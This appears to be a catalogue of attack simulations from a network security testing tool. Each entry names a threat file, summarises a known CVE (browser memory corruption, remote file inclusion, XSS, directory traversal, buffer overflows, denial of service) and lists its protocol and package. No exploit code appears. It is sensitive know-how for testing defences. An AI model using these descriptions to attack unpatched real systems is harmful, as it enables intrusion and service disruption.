Executive Description:	Mozilla SOAPParameter Integer Overflow Vulnerability
Detailed Description:	A vulnerability exists in several versions of the Mozilla and Netscape browsers' implementation of the Simple Object Access Protocol (SOAP). A specially crafted HTML page containing script code that leverages this vulnerability can allow an attacker to crash a client's browser application, or potentially introduce arbitrary code into the process flow, compromising the system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0722
Threat Package:	Standard
Threat File Name:	TSL20100721-02_Mozilla_Products_nsCSSValue_Array_Index_Integer_Overflow_IPv6.xml
Executive Description:	Mozilla Products nsCSSValue Array Index Integer Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in Mozilla products including Firefox, Thunderbird and SeaMonkey. The vulnerability exists due to a 16-bit integer value used in allocating the size of the array class to store CSS values that could overflow, resulting in too small a memory buffer being created. Remote attackers could exploit this vulnerability by enticing target users to visit a crafted web page. Successful exploitation would result in arbitrary code execution in the context of the logged on user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,IMAPS,POP3S
CVEID:	CVE-2010-2752
Threat File Name:	smtp_bounce.xml
Executive Description:	SMTP RCPT TO bounce
Detailed Description:	This threat sends an email to the user bounce. This has the potential to cause an SMTP server to enter an infinite loop bouncing an email against itself. SMTP servers typically listen on port 25.
Protocol Type:	SMTP
Threat Package:	Standard
Threat File Name:	FSC20090320-09_Mozilla_Firefox_XUL_Tree_Element_Code_Execution_IPv6.xml
Executive Description:	Mozilla Firefox XUL Tree Element Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Mozilla Firefox. The flaw is due to a dangling pointer while processing a malicious XUL document. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted webpage. In a successful attack, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1044
Threat Package:	Standard
Threat File Name:	FSC20071105-19_Apple_QuickTime_PICT_Image_Poly_Structure_Memory_Corruption.xml
Executive Description:	Apple QuickTime PICT Image Poly Structure Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Apple QuickTime. The vulnerability is due to boundary errors when processing PICT image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted PICT image file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4676
Threat Package:	Standard
Threat File Name:	FSC20080603-02_HP_StorageWorks_Storage_Mirroring_Double_Take_Service_Code_Execution_IPv6.xml
Executive Description:	HP StorageWorks Storage Mirroring Double Take Service Code Execution (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in HP StorageWorks Storage Mirroring Double Take Service. The vulnerability is due to insufficient bounds checking while handling the messages with Opcode 0x2730. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted authentication request to the target server, potentially causing arbitrary code injection and execution with the privileges of the affected service, normally System. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-1661
Threat Package:	Standard
Threat File Name:	FSC20101012-09_Microsoft_Internet_Explorer_and_SharePoint_Services_HTML_Sanitization_Cross-Site_Scripting_IPv6.xml
Executive Description:	Microsoft Internet Explorer and SharePoint Services HTML Sanitization Cross-Site Scripting (IPv6 VERSION)
Detailed Description:	An information disclosure vulnerability exists in Microsoft Windows Internet Explorer and SharePoint Server products. The flaw is due to the way that the SafeHTML function sanitizes HTML. An attacker who successfully exploited this vulnerability could perform cross-site scripting attacks and run script in the context that is associated with a trusted server
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-3324
Threat File Name:	FSC20080108-06_Microsoft_Windows_Kernel_IGMPv3_and_MLDv2_Request_Processing_Code_Execution.xml
Executive Description:	Microsoft Windows Kernel IGMPv3 and MLDv2 Request Processing Code Execution
Detailed Description:	There exists a remote code execution vulnerability in the Microsoft Windows TCP/IP stack driver. The flaw is due to insufficient validation when processing Internet Group Management Protocol (IGMP) messages and Multicast Listener Discovery (MLD) messages. An unauthenticated remote attacker can leverage this vulnerability to execute arbitrary code with elevated privileges or create a system wide denial of service condition on the target host.
Protocol Type:	IGMP
CVEID:	CVE-2007-0069
Threat Package:	Standard
Threat File Name:	emc_navisphere.xml

Executive Description:	EMC Navisphere Manager Directory Traversal
Detailed Description:	This threat takes advantage of a directory traversal bug in the EMC Navisphere web application. This allows the user to examine the contents of any file located on the Navisphere server. This application is a web application, and will typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2357
OSVDB:	18598
Threat Package:	Standard
Threat File Name:	fuzz-HSRP_Reserved.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:Reserved
Detailed Description:	
Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	phpbbxtra_rfi_IPv6.xml
Executive Description:	PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpbbXtra is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	ethereal_afp_IPv6.xml
Executive Description:	Ethereal AFP Dissector Format String Exploit (IPv6 Version)
Detailed Description:	This threat attempts to cause ethereal to run arbitrary code by exploiting a format string condition. The format string vulnerability is located in Ethereal's AFP dissector. The AFP protocol is typically sent over TCP port 548. (IPv6 Version)
Protocol Type:	AFP/IPv6
CVEID:	CVE-2005-2367
OSVDB:	18388
Threat Package:	Standard
Threat File Name:	TSL20120127-02_Apache_HTTPD_mod_log_config_Cookie_Handling_Denial_of_Service.xml
Executive Description:	Apache HTTPD mod_log_config Cookie Handling Denial of Service
Detailed Description:	A denial of service vulnerability has been identified in Apache httpd. The vulnerability is due to an error while logging crafted HTTP requests by mod_log_config. If the '%{cookieName}C' log format is in use, certain cookies can cause the server to crash. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. A successful attack will crash the server resulting in a denial-of-service condition.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0021
Threat File Name:	suncomm_ax_IPv6.xml
Executive Description:	AxWebRemoveCtrl ActiveX control for uninstalling the SunnComm MediaMax DRM allows remote execution. (IPv6 Version)
Detailed Description:	This threat serves an html page designed to test for the presence of the exploitable ActiveX control. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3693
OSVDB:	20950
Threat Package:	Standard
Threat File Name:	jetcast_srvr_dos_IPv6.xml
Executive Description:	JetCast Server 2.0.0.4308 Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a large string in a http client GET request to crash a vulnerable JetCast Server, thereby leading to a denial of service condition. JetCast Server is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4911
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_ReplicateXInINDEX.xml
Executive Description:	Fuzz HTTP Request-URI with indexxxxxx.html
Detailed Description:	Fuzzes the Request-URI field by replicating the letter X in index.html between 0 and 1024 times.
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20070515-19_Samba_SPOOLSS_RPC_smb_io_notify_option_type_data_Request_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Samba SPOOLSS RPC smb_io_notify_option_type_data Request Handling Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in the way Samba handles RPC messages. The vulnerability is due to a boundary error while performing specific RPC operations. Remote authenticated attackers can exploit this vulnerability by sending a specially crafted RPC request to the SPOOLSS RPC interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process. (IPv6 Version)
Protocol Type:	MICROSOFT-DS/IPv6
CVEID:	CVE-2007-2446
Threat Package:	Standard
Threat File Name:	ms00-006_IPv6.xml
Executive Description:	Microsoft Index Server ASP Source Disclosure (IPv6 Version)
Detailed Description:	This threat retrieves the source to an ASP file by passing a special argument to the Microsoft index server on IIS. This can be used by an attacker to determine usernames and passwords as well as disclosing the inner workings of a website. Microsoft's Index Server is part of IIS and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0302

OSVDB:	271
Threat Package:	Standard
Threat File Name:	web_oddity_dir_x-versal_IPv6.xml
Executive Description:	Web Oddity Web Server 0.09b Directory Transversal Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a directory traversal vulnerability in Web Oddity 0.09b allows for reading of arbitrary files via a .. (dot dot) in the URI. Web Oddity is a web server that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4726
Threat Package:	Standard
Threat File Name:	TSL20150811-26_Report_Microsoft_Internet_Explorer_Array_Type_Confusion.xml
Executive Description:	Microsoft Internet Explorer Array Type Confusion
Detailed Description:	A type confusion vulnerability exists in Microsoft Internet Explorer. This vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2448
Threat File Name:	MSSqlHeap_IPv6.xml
Executive Description:	MS02-039/MS02-061 MS SQL Server 2000 Heap Overflow (IPv6 Version)
Detailed Description:	MS SQL Server 2000 employs UDP Port 1434 for foreign hosts to ping for connectivity. This attack takes advantage of a heap overflow in an unpatched version of MSSQL Server, causing the service to crash. This same flaw can be used to cause remote code execution. (IPv6 Version)
Protocol Type:	MSSQL/IPv6
CVEID:	CVE-2002-0649
OSVDB:	4577
Threat Package:	Standard
Threat File Name:	FSC20040617-01_KAME_racoon_X509_Certificate_Verification_IPv6.xml
Executive Description:	KAME racoon X509 Certificate Verification (IPv6 Version)
Detailed Description:	The IKE daemon of KAME racoon has a vulnerability where an invalid X.509 certificate will be accepted as valid. This would allow an invalid certificate to be used to establish a security association with a KAME based VPN end-point. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
CVEID:	CVE-2004-0607
Threat Package:	Standard
Threat File Name:	virobot.xml
Executive Description:	ViRobot Command Injection
Detailed Description:	This threat causes a buffer overflow in the ViRobot application. Traditional overflow techniques are not needed as the next element contained on the stack is a string which causes a command to be executed through cron with privileges of root. This leads to remote system compromise. This specific attack creates a user called r00t with the privileges of root. ViRobot uses the HTTP protocol and typically listens on port 8080.
Protocol Type:	HTTP
CVEID:	CVE-2005-2720
OSVDB:	17320
Threat Package:	Standard
Threat File Name:	ZenCart_sqlcni_IPv6.xml
Executive Description:	ZenCart SQL Injection Into Remote Command Execution (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server, this in turn allows inclusion of PHP code via the database; which allows subsequent arbitrary command execution. ZenCart is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3996
OSVDB:	21411
Threat File Name:	TSL20170111-05_PHP zend_hash_destroy_Uninitialized_Pointer_Code_Execution_IPv6.xml
Executive Description:	PHP zend_hash_destroy Uninitialized Pointer Code Execution (IPv6 Version)
Detailed Description:	Access of uninitialized pointer vulnerability has been reported in PHP. The vulnerability is due to the use of uninitialized memory when the unserialize PHP function is called. A remote attacker can exploit this vulnerability by sending crafted serialized data to an affected PHP application. Successful exploitation could result in arbitrary code execution under the context of the target application.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2017-5340
Threat File Name:	wmp11_aiff_dos_IPv6.xml
Executive Description:	Windows Media Player AIFF Divide By Zero Exception Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malformed AIFF audio file to cause an divide by zero exception in Windows Media Player 11, leading to a denial of service condition. This threat is delivered via a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	pafiledb_cmi.xml
Executive Description:	PAFileDB Pafiledb_Constants.PHP Remote File Include Vulnerability
Detailed Description:	his threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via pafiledb_constants.php "module_root_path" parameter. Foing is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2361
OSVDB:	25507
Threat Package:	Standard
Threat File Name:	nivisec_a_rfi.xml

Executive Description:	Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Nivisec is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071024-06_IBM_Lotus_Notes_HTML_Message_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Notes HTML Message Handling Buffer Overflow (IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in IBM Lotus Notes. The vulnerability is a result of insufficient boundary checking while parsing HTML formatted email. A remote attacker can exploit this vulnerability by persuade the target user to perform certain operation upon a crafted email message, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-4222
Threat Package:	Standard
Threat File Name:	FSC20110104-03_Microsoft_Windows_Graphics_Rendering_Engine_Thumbnail_Image_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine Thumbnail Image Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft's Graphics Rendering Engine. The vulnerability is due to insufficient input validation when processing the <i>biClrUsed</i> value of a bitmap thumbnail. An attacker can exploit this vulnerability by enticing a user to handle a specially crafted file. The file could be embedded in Office documents or a .MIC file. This vulnerability may be triggered by previewing the malicious file in thumbnail view. Successful exploitation could lead to arbitrary code execution. Note that CVE-2010-3970 covers two vulnerabilities. This report covers the stack buffer overflow with a publicly disclosed exploit whereas FSC20110208-45 covers the integer overflow vulnerability.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2010-3970
Threat File Name:	jrunbof.xml
Executive Description:	JRun Buffer Overflow
Detailed Description:	This threat sends a large GET request known to overflow the buffer in the ISAPI handler for JRun on IIS.
Protocol Type:	HTTP
CVEID:	CVE-2002-1310
OSVDB:	6640
Threat Package:	Standard
Threat File Name:	selectapix_xss.xml
Executive Description:	SelectaPix Cross-Site Scripting
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. SelectaPix is an web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-2913
Threat Package:	Standard
Threat File Name:	TSL20150414-05_Microsoft_Office_Word_CVE_2015_1641_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Word CVE-2015-1641 Memory Corruption IPv6 version.
Detailed Description:	>A memory corruption vulnerability exists in Microsoft Office. The vulnerability is due to improper handling of embedded objects when parsing a specially crafted Office document. A remote attacker could exploit this vulnerability by enticing a user to open a crafted Office file. Successful exploitation could result in arbitrary code execution with the privileges of the currently logged on user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS/NFS.IPV6
CVEID:	CVE-2015-1641
Threat File Name:	FSC20091229-01_MIT_Kerberos_KDC_Cross_Realm_Referral_Denial_of_Service.xml
Executive Description:	MIT Kerberos KDC Cross Realm Referral Denial of Service
Detailed Description:	A denial of service vulnerability exists in MIT's Kerberos. The vulnerability is due to a NULL pointer dereference in the KDC cross-realm referral processing implementation. A remote attacker can exploit this vulnerability by sending a crafted packet to an affected KDC, causing it to crash, creating a denial of service condition.
Protocol Type:	Kerberos ASN.1
CVEID:	CVE-2009-3295
Threat Package:	Standard
Threat File Name:	FSC20070213-20_Microsoft_Step-by-Step_Interactive_Training_Crafted_Bookmark_Link_File_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Step-by-Step Interactive Training Crafted Bookmark Link File Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in Microsoft Step-by-Step Interactive Training. The flaw is due to improper handling of bookmark link files. Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the vulnerable system with the privileges of the currently logged in User. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3448
Threat Package:	Standard
Threat File Name:	mcafee_activex_sof_IPv6.xml
Executive Description:	Mc Afee Viruscan Stack Overflow v10.0.21 (IPv6 Version)
Detailed Description:	This threat demonstrates a buffer overflow against an ActiveX component though its GetUserRegisteredForBackend function, this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080222-03_Novell_iPrint_Client_ActiveX_Control_ExecuteRequest_Buffer_Overflow_IPv6.xml
Executive Description:	Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow (IPv6 Version)

Detailed Description:	The exists a buffer overflow vulnerability in Novell iPrint Client for Windows. The flaw is due to boundary error in certain method of ActiveX control shipped with the product. A remote attacker can exploit this vulnerability by persuading the target user to view a malicious web page. Successful attack could allow for arbitrary code execution with privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20110614-02_Microsoft_Office_Word_STSH_Record_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Word STSH Record Parsing Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Word. The vulnerability is due to a memory corruption when parsing a specially crafted Word file. An attacker could exploit this vulnerability to execute arbitrary code in the context of the current user by enticing them to open a specially crafted Word document. Unsuccessful code execution attempts may crash the vulnerable application resulting in denial-of-service condition.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	quickneasyftp_bof_IPv6.xml
Executive Description:	Pablo Software Solutions Quick 'n Easy FTP Server Logging Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a buffer overflow in the logging facility of the Quick ' Easy FTP server by providing an excessively long USER command. Pablo Software Solutions Quick 'n Easy FTP Server is an FTP service which typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-2027
Threat Package:	Standard
Threat File Name:	lightspeedweb_disclosure.xml
Executive Description:	LiteSpeed Web Server <= 3.2.3 Remote Source Code Disclosure Vulnerability
Detailed Description:	This threat leverages a Mime type injection flaw in LiteSpeed Web Server that leads to the disclosure of source code on the affected site. LiteSpeed Web Server can be found listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5654
Threat Package:	Standard
Threat File Name:	FSC20100811-05_Apple_Safari_Webkit_Button_First-Letter_Style_Rendering_Code_Execution.xml
Executive Description:	Apple Safari Webkit Button First-Letter Style Rendering Code Execution
Detailed Description:	A code execution vulnerability exists in Apple Safari's Webkit. The vulnerability is due to a use after free error when processing 'first-letter' CSS style. This vulnerability may be exploited by remote attackers to execute arbitrary code on a target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. When code execution fails, the affected product may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1392
Threat File Name:	coppermine_xss_b.xml
Executive Description:	Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Coppermine is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	FSC20101214-07_Microsoft_Internet_Explorer_HTML_Time_Element_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTML Time Element Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error when accessing an object that has been incorrectly initialized or has been deleted. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3346
Threat File Name:	mdweb_rfi_IPv6.xml
Executive Description:	Mdweb132-postgres: Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.MdWeb132-postgres is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5587
Threat Package:	Standard
Threat File Name:	FSC20071211-14_Microsoft_Internet_Explorer_Clone_Object_Reference_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Clone Object Reference Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles unexpected method calls to HTML objects. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3903
Threat Package:	Standard
Threat File Name:	FSC20070409-05_Microsoft_Word_TextBox_Sub-document_Memory_Corruption.xml
Executive Description:	Microsoft Word TextBox Sub-document Memory Corruption
Detailed Description:	There exist a memory corruption vulnerability in Microsoft Word. The vulnerability is due to improper processing of specially crafted Microsoft Word documents. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious file. Successful exploitation may allow arbitrary code execution in the security context of the logged in user.

Protocol Type:	HTTP
CVEID:	CVE-2007-1910
Threat Package:	Standard
Threat File Name:	TSL20150319-04_OpenSSL_ClientHello_signature_algorithms_Extension_Denial_of_Service.xml
Executive Description:	OpenSSL ClientHello signature_algorithms Extension Denial of Service.
Detailed Description:	A denial of service vulnerability exists in OpenSSL. The vulnerability is due to a null pointer dereference when an OpenSSL server application, during renegotiation, receives and processes an invalid signature_algorithms extension in a Client Hello handshake message. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted TLS 1.2 message during renegotiation. Successful exploitation will cause the server application to crash, resulting in a denial-of-service condition. Tester should set the variable \$destPort to 443 before test.
Protocol Type:	TLS/HTTPS/SMTP/SMTPTS/SIPS
CVEID:	CVE-2015-0291
Threat File Name:	TSL20041021-01_Microsoft_Windows_Graphics_Rendering_Engine_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine Buffer Overflow IPv6 version.
Detailed Description:	A vulnerability exists in the Microsoft Windows Graphics Rendering Engine. The vulnerability exists in the routines that handle the parsing of the Windows Metafile (WMF) and Enhanced Metafile (EMF) image formats. An attacker leveraging this vulnerability could execute arbitrary code on the target system with privileges of currently logged in user. Testing has shown that the vendor released patches do not fully correct this vulnerability. Please refer to section 12.1 "Open Questions to Resolve" for more information. In a simple attack case, a successful attack will result in the application that was used to open the crafted meta file to terminate. The user will be prompted to acknowledge the thrown exception, after which the affected application will be shut down. In the case of a more sophisticated attack, code injection and execution is possible. The injected code would be run with the privileges of the currently logged in user. In this case, the behaviour of the target is entirely dependent on the intended function of the injected code.
Protocol Type:	HTTP.IPv6
CVEID:	CVE-2004-0209
Threat File Name:	FSC20040914-02_Microsoft_JPEG_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft JPEG Processing Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the GDI+ component included in several Microsoft products. This vulnerability is triggered by a malformed JPEG image file. This vulnerability could allow an attacker to inject and execute code on a remote system with the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0200
Threat Package:	Standard
Threat File Name:	FSC20100201-11_Sun_Java_System_Web_Server_Digest_Authorization_Buffer_Overflow.xml
Executive Description:	Sun Java System Web Server Digest Authorization Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Sun Java System Web Server. The vulnerability is due to insufficient boundary checks when processing malformed HTTP requests. A remote unauthenticated attack can leverage this vulnerability by sending a crafted HTTP request to a target server. In an attack scenario where code execution is successful the injected code will be executed within the security context of the target service, which is usually SYSTEM.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	FSC20081009-11_CA_ARCserve_Backup_Tape_Engine_Denial_of_Service_IPv6.xml
Executive Description:	CA ARCserve Backup Tape Engine Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in CA BrightStor ARCserve Backup Tape Engine service. The vulnerability is due to insufficient input validation in the ClientCreateJobHandle library function. A remote unauthenticated attacker may exploit this vulnerability by sending a crafted message to the target server. Successful attack could cause a denial of service condition for the TapeEng and MediaSrv services. (IPv6 Version)
Protocol Type:	BOOK_SERVM/IPv6
CVEID:	CVE-2008-4398
Threat Package:	Standard
Threat File Name:	TSL20120629-03_Avaya_IP_Office_Customer_Call_Reporter_ImageUpload_ashx_Unrestricted_File_Upload.xml
Executive Description:	Avaya IP Office Customer Call Reporter ImageUpload.ashx Unrestricted File Upload
Detailed Description:	A vulnerability has been reported in Avaya's IP Office Customer Call Reporter. The vulnerability is due to the ImageUpload.ashx page failing to restrict the content uploaded to a server. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted web request by way of the ImageUpload.ashx resource. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the web server.
Protocol Type:	HTTP
CVEID:	CVE-2012-3811
OSVDB:	83399
Threat File Name:	FSC20100811-03_Adobe_ColdFusion_Directory_Traversal.xml
Executive Description:	Adobe ColdFusion Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in Adobe ColdFusion. The vulnerability is due to a design weakness in the ColdFusion administration console which fails to properly sanitize input passed to the admin page. Remote unauthenticated attackers can exploit this vulnerability to retrieve arbitrary files from the target system via directory traversal, including password file for the ColdFusion administration console. With this password file, an attacker can upload and execute arbitrary ColdFusion code within the security context of System.
Protocol Type:	HTTP
CVEID:	CVE-2010-2861
Threat File Name:	TSL20150414-08_Microsoft_ASP_NET_Error_Message_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft ASP .NET Error Message Information Disclosure IPv6 version.

Detailed Description:	An information disclosure vulnerability exists in Microsoft ASP .NET. The vulnerability is due to the inclusion of configuration file contents in error pages under certain circumstances. A remote, unauthenticated attacker can exploit this vulnerability by sending a request crafted to elicit an error message from the server. Successful exploitation of this vulnerability would expose contents of a web configuration file to the attacker in the resulting error message.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-1648
Threat File Name:	TSL20170330-07_Trend_Micro_IWSVA_PacFileManagement_delete_pac_files_Command_Injection.xml
Executive Description:	Trend Micro IWSVA PacFileManagement delete_pac_files Command Injection
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters when processing requests to the PacFileManagement servlet. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of root.
Protocol Type:	HTTP,HTTPS
Threat File Name:	TSL20110617-02_Microsoft_Internet_Explorer_CElement_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CElement Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to a use-after-free error while handling <object> tags in HTML files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious webpage, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1256
Threat File Name:	brightstor_IPv6.xml
Executive Description:	Brightstor ARCserve SERVICEPC Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the Enterprise Discovery Service of Brightstor ARCserve. Brightstor ARCserve typically listens on port 41523. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-0260
OSVDB:	13814
Threat Package:	Standard
Threat File Name:	ms_docfile_dos_IPv6.xml
Executive Description:	Microsoft Windows OLE32.DLL Word Document Handling Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat use a web server to deliver a malformed Word .DOC file to a client machine that will cause a denial of service condition when accessed by explorer via mouseover or right clicked for "file properties". This threat uses a web server listening on port 80 as the delivery vector. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	kde_libkhtml_dos.xml
Executive Description:	KDE 3.5 libkhtml <= 4.2.0 / Unhandled HTML Parse Exception
Detailed Description:	This threat crashes any program using the libkhtml library via malformed HTML tags. Libkhtml is a library used by applications such as the Konqueror Web Browser and the Kmail Email client. This threat targets the Konqueror web browser that typically connects to web servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6660
Threat Package:	Standard
Threat File Name:	phpmycms_afi.xml
Executive Description:	MyPHP CMS 0.3 (domain) Remote File Include Vulnerabilities
Detailed Description:	This threat sends a crafted HTTP GET query containing the path for a script to be included via global_headers.php's "domain" parameter. My PHP CMS is a web based application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080610-09_Microsoft_DirectX_SAMI_Format_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft DirectX SAMI Format Parsing Code Execution (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft DirectX application framework. The vulnerability is due to the way certain DirectX libraries handle specially crafted Synchronized Accessible Media Interchange (SAMI) file type. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted SAMI file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1444
Threat Package:	Standard
Threat File Name:	k_shoutBox_rfi.xml
Executive Description:	ShoutBox Remote File Inclusion Vulnerability
